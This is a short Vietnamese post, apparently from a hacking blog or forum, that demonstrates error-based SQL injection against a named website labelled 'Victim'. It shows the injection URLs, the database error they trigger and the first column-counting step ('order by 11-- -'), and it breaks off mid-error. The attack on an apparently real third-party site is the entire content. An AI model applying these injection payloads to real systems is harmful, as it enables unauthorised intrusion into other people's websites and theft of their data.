
Hôm trước mình đã có giới thiệu qua kiểu khai thác Error Based/Double Query . Hôm nay mình sẽ demo 1 site bị dạng lỗi như vậy
Victim: http://nightgallery.ca/event.php?id=95
Check site có bị lỗi không
http://nightgallery.ca/event.php?id=95'
Lỗi rồi!! --> Database Query Failed You have an error in your SQL syntax
Bước 1: Get column
http://nightgallery.ca/event.php?id=-95 order by 11-- -
Lỗi: Database Query Failed Unknown column '